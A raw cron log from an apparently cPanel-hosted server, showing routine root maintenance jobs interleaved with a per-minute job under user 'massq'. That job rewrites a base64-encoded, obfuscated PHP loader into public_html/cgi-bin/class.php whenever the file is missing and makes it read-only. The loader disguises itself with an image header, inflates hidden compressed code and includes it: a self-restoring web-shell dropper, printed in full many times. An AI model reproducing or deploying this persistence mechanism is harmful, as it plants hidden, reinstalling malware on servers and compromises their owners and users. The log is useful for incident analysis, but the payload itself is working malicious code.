Sep  5 05:24:01 server CROND[11635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:25:01 server CROND[12021]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:25:01 server CROND[12030]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 05:25:01 server CROND[12037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:25:01 server CROND[12039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:25:01 server CROND[12042]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:25:01 server CROND[12041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:25:01 server CROND[12040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:26:01 server CROND[12983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:26:01 server CROND[12984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:26:01 server CROND[12985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:27:01 server CROND[13371]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 05:27:01 server CROND[13372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:27:01 server CROND[13373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:27:01 server CROND[13374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:28:01 server CROND[13754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:28:01 server CROND[13755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:28:01 server CROND[13756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:29:01 server CROND[14148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:29:01 server CROND[14147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:29:01 server CROND[14149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:30:01 server CROND[14542]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  5 05:30:01 server CROND[14544]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:30:01 server CROND[14545]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:30:01 server CROND[14549]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:30:01 server CROND[14548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:30:01 server CROND[14552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:30:01 server CROND[14550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:30:01 server CROND[14553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:30:01 server CROND[14551]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 05:31:01 server CROND[15484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:31:01 server CROND[15485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:31:01 server CROND[15486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:32:01 server CROND[15878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:32:01 server CROND[15879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:32:01 server CROND[15880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:33:01 server CROND[16274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:33:01 server CROND[16275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:33:01 server CROND[16277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:34:01 server CROND[16702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:34:01 server CROND[16701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:34:01 server CROND[16703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:35:01 server CROND[17099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:35:01 server CROND[17100]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 05:35:01 server CROND[17105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:35:01 server CROND[17111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:35:01 server CROND[17107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:35:01 server CROND[17108]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 05:35:01 server CROND[17110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:35:01 server CROND[17109]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 05:35:01 server CROND[17106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tb